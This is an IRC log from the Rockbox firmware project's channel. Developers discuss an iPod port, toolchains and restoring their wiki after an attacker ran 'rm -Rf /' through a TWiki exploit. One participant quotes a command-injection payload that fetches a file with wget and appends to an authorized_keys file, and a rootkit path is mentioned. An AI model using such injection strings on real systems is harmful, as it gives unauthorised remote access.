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#rockbox log for 2005-09-19

00:00:39coobsort of.
00:00:46coobwe don't touch the flash
00:00:51cooball ipodlinux stuff resides ont eh hd
00:01:12coobflash contains a disk mode for fw/usb, diagnostics etc
00:01:30coobuseful for recovering from an accidental bricking :)
00:01:46coobwe do our own sleep stuff now.
00:02:18 Join ansivirus [0] (
00:02:54linuxstbDoes the keyboard reset work when ipodlinux crashes? i.e. is it always possible to recover from a software crash?
00:03:52coobit's a hardware reset.
00:04:00linuxstbThat's reassuring.
00:05:21linuxstbIs the Apple firmware stored in the boot partition (which you append Linux to) encrypted?
00:05:55linuxstb(hope you don't mind all these questions)
00:06:04 Join rasher [0] (
00:06:24coobthe important bits are
00:06:27coob(code not data)
00:06:39coob(as far as I know, i'm not an re monkey)
00:08:10 Quit DangerousDan ("Miranda IM! Smaller, Faster, Easier.")
00:11:10linuxstbLast question - is "usb mode" supported? There seems to be code releated to that in podzilla.
00:11:37***Saving seen data "./dancer.seen"
00:11:41coobthat just detects a usb connection and asks if you want to reboot into diskmode
00:12:25preglowno hardware usb/ata bridge for ipod?
00:12:25linuxstbWhen you reboot, do you still have to press the correct key to enter disk mode?
00:12:59coobnot sure, my ipod isn't working with ipl (no lcd!) yet, and i've been away for 2 months and that was added in those 2 months
00:15:11 Join Link9064 [0] (
00:15:22BagderI'll join the fun soon
00:15:30coob(my 4g mono bust while i was away...)
00:15:43linuxstbDo you know this website: ?
00:16:42coobneat though
00:16:58coobthe serial port isn't working on PP5020 pods yet though
00:17:03 Quit noC|andY`fRa (Read error: 104 (Connection reset by peer))
00:17:23coobit pumps out power but that's about it i think, probably just a minor change needed
00:18:09linuxstbBagder: Got any particular ipod in mind?
00:18:24Bagderthought I'd get a plain greyscale 4g
00:18:42coobprobably going cheap on ebay now, they're discontinued
00:18:43linuxstbAt least your LCD will be easy to get going.
00:18:57Bagderthey're available new for ~240 USD
00:19:18pregloware they, now
00:19:21rasherSo, about that ipod nano port... I expect it on my desk by monday.
00:19:37preglowi'd frigging love that
00:19:42preglowi want a smaller player
00:19:51rasherI'm demanding of you, just to clarify.
00:20:07linuxstbcoob: Thanks.
00:20:13cooboh btw - you got any backups of your wiki?
00:20:15rasherNot talking about doing porting myself, oh no.
00:20:23preglowcoob: yeah, and oldish one, i believe
00:20:39rashercoob: About a month old. Most edits since then have been found in google cache
00:20:48Bagderbackup restore work planned to start tomorrow
00:20:54coobouch :/ good luck tracking and executing the fuckers who did it!
00:21:01preglowwont happen
00:21:05Bagderwe have his IP
00:21:29preglowi tried getting people nailed for stuff like this for a long time, nothing ever comes of it
00:21:47preglowpeople just dont care
00:22:10coobstill, not nice, we've had to deal with mediawiki holes before, our admins are pretty paranoid about backups though
00:22:21coobanyway cya, good luck with the restore
00:22:23preglowit helps
00:22:27 Part coob
00:23:47 Quit ]RowaN[ (Read error: 110 (Connection timed out))
00:24:09rasherWhen was/is the Neuros talk by the way?
00:24:37Bagderthat is, the new one
00:24:50*rasher is curious
00:25:20Bagderthey did have one irc meeting to discuss a future player
00:25:32rasherHrm, months ago?
00:25:42Bagdermore like weeks
00:25:52rasherAh. Not the one I "attended" then.
00:26:48Bagdersep 10th
00:29:57rasherNice trackback for that one
00:31:10 Quit Link9064 ("CGI:IRC")
00:31:49preglowi had a rockbox lockup today ://
00:31:59preglowi think i was a bit too aggressive in trying to switch to a previous track
00:32:48 Join LinusN [0] (
00:34:14rasherevening, LinusN
00:37:50BoD[]so .. noboy heard about that comodore e-vic 20 thing ? :)
00:38:09preglowhmm, how does one alter playback speed on the units that support it?
00:38:42BagderBoD[]: that's commodore's music player, right?
00:39:23BoD[]yep :)
00:39:31BoD[]it's cheap!
00:39:31Bagderso what about it?
00:39:38Bagderstart porting!
00:39:45preglowcan't find the manual with the wiki gone :/
00:39:48BoD[]well.. hum oh but hum
00:39:57BoD[]well i didn't buy one (yet?)
00:40:16BoD[]i don't know if it's good
00:40:26BoD[]i wondered if you guys knew
00:40:40Bagderthere are so many different brand and models
00:40:49*Bagder runs off to bed
00:40:55BoD[]yeah, i know :/
00:41:05BoD[]oh well :) goodnight then
00:52:23 Join rasher_ [0] (
00:54:58 Quit rasher (Read error: 110 (Connection timed out))
00:56:50 Part AliasCoffee ("Leaving")
00:59:06LinusNtime to sleep, nite all
00:59:09 Part LinusN
01:02:47 Part BoD[]
01:08:52 Quit markun ()
01:12:05 Quit linuxstb ("CGI:IRC")
01:17:55 Quit ender` (Read error: 113 (No route to host))
01:30:10 Quit Moos ("Parti")
01:53:28 Join Rob- [0] (
01:55:34 Quit webguest72 ("CGI:IRC")
02:11:40***Saving seen data "./dancer.seen"
02:21:55 Quit preglow ("leaving")
02:46:53 Quit elinenbe_ (" HydraIRC -> <-")
03:54:56 Join random_man [0] (
04:04:07 Join hd [0] (
04:05:22 Join QT_ [0] (i=as@madwifi/users/area51)
04:11:43***Saving seen data "./dancer.seen"
04:15:18 Quit ansivirus (Read error: 110 (Connection timed out))
04:15:51 Quit QT (Read error: 113 (No route to host))
04:16:39 Quit goa (Connection timed out)
04:16:39 Nick hd is now known as goa (
04:17:06 Quit cYmen ("zZz")
04:17:49 Join ansivirus [0] (
04:20:52 Quit random_man ("CGI:IRC (EOF)")
04:44:10 Join ansivirus_ [0] (
04:45:23 Quit ansivirus (Connection timed out)
05:31:43 Quit Sucka ("a bird in the bush is worth two in your house")
05:33:33 Quit ansivirus_ (Read error: 110 (Connection timed out))
05:36:09 Join ansivirus_ [0] (
06:11:46***Saving seen data "./dancer.seen"
06:13:05 Quit ansivirus_ (Read error: 110 (Connection timed out))
06:13:22 Join ansivirus_ [0] (
07:03:57 Join LinusN [0] (
07:23:41amiconnI would really like to know what we're doing wrong with mas pio
07:24:06amiconnNo matter what I try, I'll get bitshifted recording sooner or later
07:24:23amiconn...but the archos firmware was able to record for >10 hours without it
07:24:29amiconn(then it hung)
07:25:08amiconnIt's not a voltage dip either. I tried both without disk poweroff and on the Ondio
07:25:35amiconnCurrently I'm running a test completely without peakmeter, result in the evening...
07:28:36amiconnI'm attending a course this week, so I'll probably not be around during the day
07:31:51*LinusN wanders off to the lab
07:45:20 Join B4gder [0] (
07:54:57LinusNmorning B4gder
07:55:02B4gderhey ho
07:55:29B4gdermy inbox is very silent these days ;-)
07:55:35LinusNmine too :-)
07:55:52LinusNmaybe we shouldn't fix the mailing lists
07:56:02LinusNkind of nice n quiet like this
07:56:16B4gdernice and quiet
07:56:17 Join ender` [0] (i=ychat@
07:58:07 Join linuxstb_ [0] (
08:08:53 Quit linuxstb__ (Read error: 110 (Connection timed out))
08:11:48***Saving seen data "./dancer.seen"
08:28:56 Join einhirn [0] (
08:37:15B4gderthe most annoying detail with working with gcc and arm:
08:37:27B4gderthey removed the -mshort-load-bytes option in gcc3
08:41:06B4gder(and replaced it with -mshort-load-bytes)
08:41:16B4gder-malignment-traps even
08:42:11 Join linuxstb [0] (
08:44:25linuxstbBagder: Why is that gcc change annoying?
08:44:34linuxstb(good morning)
08:44:53B4gderbecause so many makefiles are written for the old gcc
08:44:57B4gderand I use a newer
08:45:32B4gdereven the linux kernel setup uses the old way
08:45:59linuxstbI'm planning on using the latest 3.4.x for Rockbox. But it's annoying to have to have two conflicting toolchains installed.
08:46:36B4gderI use 3.4.2 for arm9 here at work
08:48:13LinusNlinuxstb: conflicting? now?
08:48:27LinusNyou have more coldfire targets?
08:49:04linuxstbI have two arm-elf-gcc versions installed - I currentlychange my PATH to switch between them.
08:49:21LinusNah, rockbox for ipod...
08:49:21linuxstbI'm planning on starting an ipod port.
08:49:52linuxstbYes. ipodlinux needs 2.95.3
08:50:26B4gderyou know what makes them require that old version?
08:51:07linuxstbI think it's just the version recommended by uclinux. I haven't investigated at all.
08:51:57B4gderthey used to recommend that for arm kernel builds
08:52:12linuxstbThe toolchain is dated March 2003.
08:55:38B4gderI doubt we need to be that conservative once rockbox starts crawling
08:57:49linuxstbI've installed 3.4.4, and am planning on using that for Rockbox.
08:59:48*HCl yawns
09:01:51HClrockbox for ipod?
09:02:04*HCl shivers at the thought of the userbase for ipod
09:02:24linuxstbHCl: We shouldn't tell anyone about it.
09:02:42HClyou realize that this channel is getting logged and read by many people
09:02:49HCland knowing the misticriver people
09:02:56HClrumors will be on the forums there really soon.
09:03:37B4gdershall I not mention by queak3 port in the h3x0 boot loader then? ;-P
09:03:45B4gdercan't type anyway
09:04:04linuxstbSeriously, the problem I've found with trying to find information about ipodlinux is the amount of "noise" from users, which is making it hard to find useful info posted by devs.
09:04:14*HCl tries to wake up
09:04:29B4gderI found it odd that they don't have any proper mailing list or dev forum
09:04:35HClwould an ipod port also make an iriver h10 port possible?
09:04:43HClyea, i agree
09:04:48linuxstbIt would certainly help a lot with a H10 port.
09:05:08B4gderI wonder if the h10 boots the same way
09:05:30B4gderI mean, how similar is the sw architecture between the pp players really
09:05:52linuxstbI suppose it depends how much of PP's SDK each manufacturer uses.
09:06:13B4gderbut a guess is that they use as much as possible to not have to do it themselves
09:06:37linuxstbBut Apple may be a special case and do things their own way.
09:08:32*B4gder starts a crosstool build
09:09:00B4gderI like the comment in the crosstool script: "Build the toolchain. Takes a couple hours and a couple gigabytes."
09:15:01linuxstbAnyone know if the H140 and ipod HDs are interchangeable?
09:16:02B4gderit would surprise me if they aren't
09:18:59linuxstbAny idea if there are many devs waiting to help with the H340 port? From an "apps/" point of view, it's almost identical to the color ipod.
09:22:13LinusNok, we've started the tedious task of reading back the backups from tape...
09:22:41*linuxstb prays
09:22:53LinusNwill take several hours
09:22:59B4gderwe have probably lost the mailing list info
09:23:10B4gderand subscribers lists
09:23:56linuxstbThe archives seem OK though?
09:34:21 Quit linuxstb ("CGI:IRC")
09:34:52 Nick linuxstb_ is now known as linuxstb (
09:34:57 Join ashridah [0] (
09:41:57 Join Dma-Sc [0] (
09:55:51stripwax_the ipod hdds have a customized firmware iirc.. although that doesn't necessarily mean they won't work in an H140.
09:56:51Dma-Sci had the pleasure to find about the low battery behaviour of rockbox, scary indeed :O i don't know if it was the way i was using the player atm (testing wps modification and then massive access to hd due to intense browsing) but having the harddrive stopping due to power loss and retrying again and again like that is quite horrible, and i doubt about these harddrives models hability to handle nicely (mostly about the
09:57:19 Join markun [0] (
09:57:47stripwax_Dma-Sc yeah it's painful... latest rockbox has a force-poweroff mode where if you hold down the stop button for about 8 seconds it will always turn off the player
09:58:09linuxstbstripwax_: Thanks. Guess I need to do some research before thinking about swapping them.
09:58:11stripwax_Seems odd that the player doesn't turn itself off when it detects that the harddrive is continually spinning down because it doesn't have enough juice to run, though ...
09:58:46Dma-Scbut it's weird that so many people find the beta really usable with such a behaviour, most of people don't run out of battery?
09:59:03linuxstbstripwax_: I have a feeling Rockbox can't detect that.
09:59:14stripwax_Dma-Sc - it's only bitten me twice so far. I've just learned to not let it run out of juice :-(
09:59:19linuxstbWhich is the reason for the problem.
09:59:29Zagorlinuxstb: well we could detect the symptoms. such as read failure for X seconds.
09:59:55stripwax_linuxstb - are you sure? that would surprise me, there should be an ATA sense bit or similar I would have thought
10:00:03stripwax_-or yeah, as Zagor says
10:00:16linuxstbNo, I'm not sure about anything.
10:00:18markunlinuxstb: This guy connected a 3.5" HD to his ipod, so I think a H140's HD should also work:
10:00:33stripwax_gotta go..
10:00:35 Part stripwax_
10:01:17linuxstbmarkun: Yes, I remember reading that now.
10:01:38Zagorthat 1.8" => 3.5" adapter doesn't look too fun to make...
10:06:07Dma-Sci've read on the forum that the iriver firmware was stopping functioning really sooner than the battery could actualy support, maybe some option to handle it this way but still allowing tweaking would be possible?
10:07:04Zagori don't like stopping before necessary. we should be able to detect the disk failure when it happens and then simply stop trying.
10:08:13 Quit webguest13 ("CGI:IRC (Ping timeout)")
10:08:44linuxstbZagor: Would that mean that a call to the read() (or write) function could potentially have the side-effect of shutting the player down?
10:09:50Zagori'd rather like setting a disk_stopped flag and return read failed. so the player lives but can't access the disk anymore.
10:11:51***Saving seen data "./dancer.seen"
10:20:34 Quit Maxime ()
10:22:34Dma-Sczagor : then the head is parked has it should even on power loss in these hardrives? one shouldn't be worried about that?
10:23:21Zagorno. drives heads have autoparked for the last 15 years at least :-)
10:23:56 Join lImbus [0] (
10:24:37ZagorI would imagine these 1.8" drives have various extra protection mechanisms too, since they are very much made to be thrown around
10:25:31Dma-Scah i see, i didn't knew it was also effective on power loss ok. :) though yeah, last time i was really worried about harddrive functioning, it was for my atari megafile harddrive ;)
10:29:56Dma-Scgraphic wps system is really cool btw, being able to pixel the interface is neat! :)
10:39:19 Join amiconn_ [0] (
10:43:52 Part lImbus
10:57:43 Quit amiconn (Read error: 110 (Connection timed out))
10:57:44 Nick amiconn_ is now known as amiconn (
11:11:55B4gdernow, check your subscription status on the lists you want to be on
11:12:15B4gderyou may not be subscribed
11:13:22Mode"#RockBox +o B4gder " by ChanServ (ChanServ@services.)
11:13:33Topic"Check your subscriptions of the rockbox mailing lists!" by B4gder (
11:14:36solexB4gder: maybe you could send an email to the lists so that people know when they are already subscribed?
11:19:10 Join B4gd3r [0] (
11:19:13 Join tucoz [0] (
11:20:31 Quit Strath (Read error: 104 (Connection reset by peer))
11:21:16tucozB4gder: when I tried to visit the subscribers list I got an error, but when I sent a new subscription I got an mail stating that I was already subscribed
11:22:09tucozrockbox rooster authentication failed
11:22:14solexsame here
11:28:41 Join preglow [0] (
11:29:13 Quit HCl (Read error: 104 (Connection reset by peer))
11:29:15 Join HCl [0] (
11:35:17preglowhow do i check my subscription? will we be seeing a million Subject: test mails now? ;)
11:36:21 Quit B4gder (Read error: 110 (Connection timed out))
11:41:43 Join Moos [0] (
11:43:49MoosHello folks
11:43:57linuxstbpreglow: Unless Bagder has a better idea, my suggestion would simply be to try and subscribe again.
11:51:55tucozAny suggestions what to use for lame settings?
11:52:25ashridahso were there any backups of the wiki?
11:52:59tucozLike, what would you use? I know a bit off topic, but I do not usually use mp3's.
11:53:49Dma-Sctucoz :
11:53:57tucozDma-Sc: thanks!
11:55:40linuxstbashridah: They are being restored today - some some recent changes need to be retrieved from google's cache - rasher is on the case.
11:56:24*ashridah pats google
11:56:46ashridaheasily the successor to linus torvald's method of 'upload to ftp and let the word mirror it'.
11:57:02ashridahcool. looks like i'm still subscribed.
11:57:09Zagortucoz: I use −−preset extreme these days. disk is cheap, reripping is no fun.
11:57:27ashridahdo we know (and more importantly, have we fixed) the hole in the wiki?
11:57:29 Nick B4gd3r is now known as B4gder (
11:57:40Zagorashridah: the wiki was removed, so yes it's fixed :-)
11:57:47tucozZagor: ok, I'll try that.
11:57:58linuxstbashridah: the Twiki developers have released patches.
11:58:11Zagorbut yes, the hole is known (discovered 4 days earlier) and fixed
11:58:25*ashridah notes the system administrator in him is currently itching to do forensics
11:58:31tucozSeems I have a too old lame to use the settings in the hydrogen audio post.
11:58:35ashridahah, that's no fun.
11:58:41ashridahi prefer the hunt for an unknown bug :(
12:00:19Zagorthe _really_ annoying part is that the debian version of twiki, which is installed on this server, has had the hole patched since early this spring. but we didn't run that version....
12:00:49tucozbtw, were there lot's of other twikis going down the drain this weekend as well?
12:01:17ashridahtucoz: wouldn't be surprised if the guy in question just googled for a bunch of them
12:01:28ashridahprobably left himself a trail a mile wide
12:01:44linuxstbThe Twiki developers sent an email to all known public Twikis a few days before Rockbox was attacked. Seems that Rockbox isn't on that list though.
12:01:45tucozhehe, probably.
12:01:53 Join cYmen [0] (
12:02:31tucozlinuxstb: oh, seems like Murphy decided to visit rockbox then.
12:02:32ashridahhrm, that reminds me. i need a couple of blank cds to burn copies of eclipse onto. hm.
12:03:30tucozThe irony of google. Google giveth and google taketh away.
12:04:13tucozSo we can both thank and curse google for this then :)
12:06:24preglowthe plain stupidness of the bug still haunts me
12:07:01Zagorlinuxstb: right, we weren't on it. you always knew we're sloppy types ;-)
12:09:22tucozGood thing that you have backups. I feared a lot of the tech-docs were gone.
12:09:48Zagornot gone entirely, but the latest changes are gone.
12:10:15Zagorsince Murphy was on duty, we had a backup problem the last few weeks before this hit
12:10:29Zagorso the backup is not fully up-to-date
12:11:04tucozYes I heard. But rasher were able to retrieve a lot of the updates.
12:11:34tucozGoogle doesn't cache pdf's right?
12:11:48rasher_It does the "show as html" thing
12:11:54***Saving seen data "./dancer.seen"
12:11:57 Nick rasher_ is now known as rasher (
12:12:20tucozrasher: I am impressed on your work with the search engine caches
12:13:01rasherIt actually wasn't very hard, just took a while
12:13:44tucoz;) I guess.
12:13:59B4gderI mailed the list now
12:14:10B4gderif you got no mail, you're not on it ;-)
12:14:39preglowi just got two...
12:15:04B4gderhow annoying
12:17:04ashridahB4gder: wouldn't the MTA logs contain every email address it's mailed?
12:17:07*LinusN is recovering deleted files from the server
12:17:30B4gderashridah: good idea, me go check...
12:17:48ashridahwhich mta are you using anyway?
12:17:53preglowsendmail, methink
12:18:12preglowi took a vow never to touch that again some years back
12:18:16preglowi've been clen for five years now
12:18:19preglowclean, even
12:18:39*ashridah flees
12:18:55*ashridah goes fetal and hugs exim, shivering
12:19:00 Join muesli- [0] (
12:19:04B4gderwell, it isn't easy to see which mails that are related to what lists
12:19:23B4gderwe have like a dozen lists on the server
12:19:30*rasher got the mail
12:19:37ashridahhmm. aren't the mails uniquely id'ed?
12:20:35ashridahactually, kinda depends how the mailing list software works, i guess.
12:21:20 Quit Dma-Sc ("Yummy, like ircing on a cake! [ - Open Source IRC ]")
12:21:26B4gderyes, eash has its own msgid
12:21:54B4gderI can also check who posted mails recently
12:22:35ashridahB4gder: i was more considering that if the mta itself was doing the list->address mapping itself, it should have an incoming address and an outgoing address for each person
12:22:54B4gderthe log isn't that "high level"
12:23:01ashridahbut if the mailing list software was doign it, that might not be so easy, depending on how busy things were
12:25:05B4gderI'll import all posters since aug 1
12:25:41 Part tucoz ("Leaving")
12:26:28B4gdergot us some 50 additional ones
12:27:32ashridahwell, i'm off to watch tv.
12:37:00muesli-is somebody interested in a 2gb sd-card 150x from a-data
12:59:32 Quit muesli- (Read error: 104 (Connection reset by peer))
13:17:47 Quit edx (Read error: 110 (Connection timed out))
13:26:45 Join Dma-Sc [0] (
13:31:00 Quit linuxstb ("Leaving")
13:33:36B4gderwhy isn't sound enabled by default in the win32 sim?
13:34:24B4gderand why isn't 2.5 released yet?
13:34:43ashridahbecause someone deleted your wiki
13:34:50rasherQuestions.. questions..
13:36:49preglowi believe it's up to amiconn and the recording stuff
13:37:04preglowbut he'll be gone for a course most of this week...
13:37:06rasherBackup still restoring it seems.. chugga chugga chugga
13:38:29Zagorrasher: are you done google-scraping? i'm about to put back the backup
13:38:55rasherzagor: I think so.. the pages I don't have saved are only available in really old versions (pre-backup)
13:39:22rasherwhat's the date of the backup?
13:39:56LinusNyou don't want to know...
13:40:26rasherOh but I do
13:40:28preglowsounds like we've got quite some fun ahead of us, then
13:40:36rashernot done scraping at all then
13:42:37rasherlooks like I can't get a list of edits that go back further back than 2005-08
13:43:03rasherouch ouch ouch
13:44:36rasherThat's... pretty bad then
13:44:54LinusNsort of :-)
13:45:16preglowwhat do you mean by list of edits? does it matter if you can just get the latest version of the wiki pages?
13:45:18B4gderall work and no play makes bagder a dull boy
13:45:34 Join linuxstb [0] (
13:45:41rasherpreglow: well I don't want to get ALL pages.. I'd like to know which pages need attention
13:45:48LinusNthe good thing is that i'm learning a lot about forensic analysis of hard drives :-)
13:46:20preglowso, anything retrievable?
13:46:45LinusNi wish i had this idea earlier
13:46:52*ashridah loans LinusN an electron microscope for 60,000 dollars an hour
13:47:55preglowoh well
13:47:58preglowit could have been worse
13:48:58preglowhaving the latest releasenotes would probably have been good, i guess...
13:49:32rasherI have a text-copy of it
13:49:38preglowthen all is good
13:49:46*linuxstb stares at his new ipod
13:49:59B4gdernow, RIP IT APART! ;-)
13:50:06preglowand pictures!
13:50:19linuxstbI can't find any external screws.
13:50:34 Join tucoz [0] (
13:50:37linuxstbNot that I'm sure ripping it apart is the best idea in the world.
13:50:46preglownow really
13:51:02rasherYou have to pry it open I think.. Battery-changing howtos should help with that
13:51:11ashridahlinuxstb: no screws? that shouldn't have to stop you... :)
13:51:16ashridahthey make tall buildings for a reason
13:51:16linuxstbThe proprietory dock connector is going to be annoying - no more using standard USB cables.
13:51:18rasher(my replacement battery came with two "tools" for opening ipods)
13:51:39tucozcouldn't find it on the rescue page
13:51:52preglowrescue page?
13:52:12tucozrashers painstakingly made wikirescue">
13:53:01rasherhttp:// <−− list of when topics were edited
13:53:17linuxstbLooks easy:
13:53:20rasherI'm compiling a list of edits dating back to 2005-06-11 now..
13:53:31*preglow pats rashers back
13:53:52*rasher sighs
13:53:55rasherSo many pages!
13:54:09preglowdon't stress it too much, the 2.5 stuff is the most important
13:54:23tucozhehe, this is bad.
13:54:25preglowthe rest will probably get up to snuff as people see fit
13:55:03tucozMr Murphy did indeed visit rockbox recently
13:55:11*ashridah notes that he hopes the first order of business is to setup an offsite regular rsync backup of the wiki...
13:55:16ashridahor whatever is appropriate
13:55:21preglowrest assured i'll keelhaul whoever is responsible if i ever find him
13:55:56tucozsounds good
13:56:38preglowrussian dialup....
13:56:43preglowmight as well just forget it, then
13:56:56Zagorashridah: we've had a daily backup going for years, but it broke the last two weeks.
13:57:12tucozjust curious. How can you find out it's on dialup
13:57:19Zagorthere's a number of bad coincidents that combine to make the situation much worse than it could have been
13:57:22preglow;; ANSWER SECTION: 86353 IN PTR
13:57:25preglowpppoe <-
13:57:35tucozoh, thanks
13:58:02B4gderthanks to him erasing the twiki, he did close the remote exploitable hole
13:58:27tucozyep, he closed it with a bang allright
13:58:29B4gderthus minimizing the amount of rootkits installed
13:58:39ashridahB4gder: the question is, did he leave any nice presents like kernel-module rootkits or backdoors
13:59:04B4gderthat's the question, yes, but I'm pretty sure he didn't manage to change user
13:59:50*ashridah suggests booting off a live-cd at first oppertunity and comparing the filesystem with what dpkg thinks should be installed (iirc, debian isn't it? substitute with rpm or whateveR)
13:59:55LinusNthe guy who deleted the wiki didn't have shell access
14:00:11B4gderwell, its hard to say who did what
14:00:36B4gderthe rm was made withut a shell, but there was alien processes running
14:00:49LinusNprobably not the same person
14:00:57B4gdernot likely, no
14:01:02B4gdersince it shut down the door in
14:01:17tucozBut it is possible to run dpkg or wget or something else using that hole?
14:01:20ashridahdo you happen to have copies of these alien processes?
14:01:26ashridahmight be fun picking them apart in a sandbox
14:01:31rasherAh, most of these edits dating from June and July were userpages
14:01:39rashershouldn't be too much left once I weed those out
14:01:43ashridahtucoz: wget propbably, dpkg not usefully.
14:01:44B4gdernot the processes themselves, but I kept the programs they installde
14:01:44 Quit linuxstb ("Leaving")
14:01:58LinusNit seems to be a romanian root kit
14:02:16B4gderseveral people attempted to download that 'dc.txt' thing
14:02:20B4gderto the server
14:02:21*ashridah remembers having to break into one of his own boxes that was 50k's away after his co-administrator upgraded SSH to version 2, and turned off version 1 access (which my key was using) without telling me
14:02:23LinusNat least a root kit modded by a romanian hacker
14:02:27tucozAllways learning something new here.
14:02:39ashridahwas funny. the tool had an UNFILTERED setuid script running from a front page
14:02:45ashridahthat anyone could access
14:02:53*tucoz googles for rootkit
14:03:05B4gderI have one ;-)
14:03:24*tucoz found wikipedia's entry
14:03:27B4gderit was installed as "/tmp/var/... /hackyou"
14:03:39ashridahi tossed in ; cd /tmp ; wget ; cat >> /home/ashridah/.ssh/authorized_keys and was done
14:03:46ashridahand then rang him up and abused him. twice.
14:05:20*rasher starts digging google again
14:05:20 Join Sucka [0] (
14:05:28rasherfortunately, with these old pages, nothing should be lost
14:05:35ashridahthen i deleted the feature and rewrote it using a non-setuid method
14:11:55***Saving seen data "./dancer.seen"
14:13:19 Join Bger [0] (n=Bager@
14:14:06Bgerhi... first of all... many wishes to the russian guy's mom.....
14:14:26Bgerrasher: i'd like to help with wiki restoring
14:14:59rasherBger: okay.. hm.. hang on
14:15:04Bgerunfortunately i'll be able to do it only tomorrow and wednesday 8:30-17:30 EET
14:15:16Bgerand maybe now ... :)
14:15:58*Bger doesn't get why the f*** someone will delete rockbox's wiki
14:17:16preglowassholes walk among us
14:17:51Bgerwtf do you prove with that ..."> - that's a list of pages I don't have copies of, which have been changed since the backup was taken
14:18:17HClscript kiddies never make much sense :)
14:19:01HCldoes anyone have the standalone perl.exe
14:19:03rasherI'll start wading through them from the bottom
14:19:06HClthat used to be on the wiki
14:19:17LinusNBger: the "attack" wasn't targetted towards the wiki itself
14:19:44 Join muesli- [0] (
14:19:45LinusNhe simply executed "rm -Rf /" remotely, via the wiki exploit
14:20:03LinusNcall it a "prank" if you want
14:20:40HClscript kiddies are so dumb
14:20:54HClinstead of subtilely hacking into the system without getting detected
14:21:38BgerLinusN : anything "unerasable" ?
14:21:52Bgerthat's good
14:22:00 Quit muesli- (Client Quit)
14:22:08Zagora massive job making sense of all the files though
14:22:23LinusNZagor: you mean the undeleted files?
14:22:49preglowi'd love it if rm refused to take / as an argument
14:23:52 Join noC|andY`fRa [0] (
14:24:16Bgerrasher : so u'd like to start saving these pages from google's cache ?
14:24:26preglowcan't remember one time i've ever done that and actually wanted it
14:24:44preglowplenty of times when i did not want it, though...
14:25:48rasherBger: Yeah.. if possible, use the naming scheme "PageName-r1.11 - 07-28.html"
14:25:58rasherwhere 1.11 is the revision, 07-28 is the date of the page
14:26:01rasherboth found at the bottom
14:26:09Bgerok, starting :)
14:26:14tucozpreglow: yes, it should definitely force the user to answer some questions. But I guess that would be bypassed by some pipes.
14:26:28rashersome of them are available as raw .. do a search with inurl:raw=on
14:26:30preglowyou can always bypass it, of course
14:26:36rasherThat's of course preferable
14:26:51rasherjust copy the raw text and save it as .txt if that's available
14:26:55rashersame naming
14:28:10Bgergot it
14:28:28HCldoes anyone have the standalone perl.exe?
14:30:52rashernot I
14:31:15LinusNit's in the wi.... ehum
14:32:54tucozisn't it in one of these packages?
14:34:29rasherBger: Actually, to avoid confusion. I'll start from pluginbounce and work down
14:34:46Bgeri started from ArchosFAQ
14:36:39BgerColdFire - raw grabbed the 13,14,15,17,18,19,20,23,25th of november 2004. and never again since...
14:39:16Zagortalk about erratic behaviour
14:39:46ashridahthey probably realised you were using constantly changing content
14:46:01tucozit seems as if not all search engines give access to the cached pages. Only, and
14:46:12tucozdo this so far
14:47:47tucozhmm, and yahoo gives have a link to the cache, but gives an error when pressed.
14:47:48Bgerunfortunately we've lost all attachments/pictures etc...
14:48:02rashertucoz: it does that sometimes
14:48:04rasheras does msn
14:48:25tucozyes, but with msn it might pop up if you retry
14:49:12rasherHaven't used yahoo much
14:49:25rasherit did have "RockboxTesting" which none of the others did, though
14:50:25tucozyahoo seem to give wiki syntax
14:50:52Zagortucoz: that's the "view raw" link
14:51:01tucozOh, ok.
14:51:20Zagorit's prefarrable actually, since that's exactly what you write in twiki
14:51:38Bgerhm, i must search in msn and yahoo too, then ...
14:51:45rasherthis isn't there for many pages though
14:52:07tucoztoo bad if a lot of binary data is missing
14:52:07Bgerrasher : what's the analogue of inurl:raw in yahoo
14:52:20tucozBger inurl:raw :)
14:52:24rashera simple 'inurl:raw inurl:twiki "Jul 2005"' works good though
14:53:34rasherand Jun 2005 of course
14:55:09rasher quite a few there
14:56:32tucozwonder if yahoo will be able to grab a bite off of google's search monopoly. Read somewhere that yahoo gives more hits for a search than google. Might be a quantity vs quality question though.
14:57:54Bgerwow, device chart raw in yahoo
14:58:50Bgernot in google :)
14:58:59rasherMight want to go through yahoo for the newer pages as well (august+september) afterwards
14:59:28rasherI only tried google and msn for those
15:00:58tucozrasher, may I help you with that?
15:01:25tucozwhere do I start?
15:01:32Bgerstart from IriverBattery
15:01:47Bgeror maybe
15:02:04Bgerbetter try starting from beginning and search in msn for raw pages
15:02:40Bgeri've got only BrokenSed, ColdFire, DeviceChart, DynamicCPUFrequency
15:02:43Bgeras raw
15:02:46Bgertill now
15:03:01Bgertryed in google & yahoo
15:04:18tucozno archosfaq in msn
15:04:49BgerJens will be proud :) Graphics API raw in yahoo :)
15:07:46Bgerhm, seems like yahoo loves Iaudio
15:10:08rashergraphicsapi would be annoying not to have as raw
15:10:22rasherand devicechart *shudder*
15:10:28Bgerbut devicechart is worse :)
15:11:54rasherI'm going to have a go with google on the newer pages
15:11:56rashereh, yahoo
15:12:35BgerIaudioX5Info is nearly pointless ...
15:13:11tucozmsn hates raw pages
15:13:53LinusNBger: pointless?
15:14:19BgerLinusN : at least the cache of it in google
15:14:30Bgersee it
15:15:40tucozonly 21 results with raw inurl using msn
15:16:36 Join Bgr [0] (n=Bager@
15:17:32rashertucoz: msn doesn't do inurl
15:17:45rashersearching for "raw=on" almost works..
15:18:30tucozoh, starting over then
15:19:11BgerGod Blesses yahoo ...
15:19:59LinusNBgr: aha :-)
15:20:22LinusNi might be able to recover some of the attachments
15:20:24*Bger hasn't used yahoo for years ...
15:21:34Bgerand parts of my firefox cache :)
15:22:02*rasher manages to pull out a few more "raw" versions of the pages I found on saturday
15:22:34tucozrasher: msn does indeed support inurl
15:23:27rasherdidn't seem to react properly to it when I tried
15:24:03Bgeririvernavigation raw in google, but not in yahoo :)
15:24:18tucozno, it doesn't work as for google or yahoo
15:24:21tucozas good as
15:24:25rasherYeah, it's a right treasurehunt
15:24:39rasherHm, almost done, it seems
15:25:06rasherI'm done with PluginBounce > XclefInfo
15:25:22rasherAll of them found, 8 available as raw
15:25:22Bgeri'm up to iriverportfornewbs
15:25:35Bgerhere 10 raw
15:25:52tucozwell, seems msn is no go then
15:26:25Bger11 raw
15:26:25rasherPhilipsSAA7750 available as raw
15:26:34B4gdergreat, reading back my ccache cache from backup ;-)
15:27:34rasherB4gder: how.. non-critical
15:27:44B4gderyou say? ;-)
15:28:15B4gderI got a nice 4GB tarball
15:29:07rasherBger: once you reach philipssaa7750, package up what you have and send it to me ( jfh EMAIL-AT-SIGN adr DOT dk )
15:29:35rasherand I'll add it to the page I made
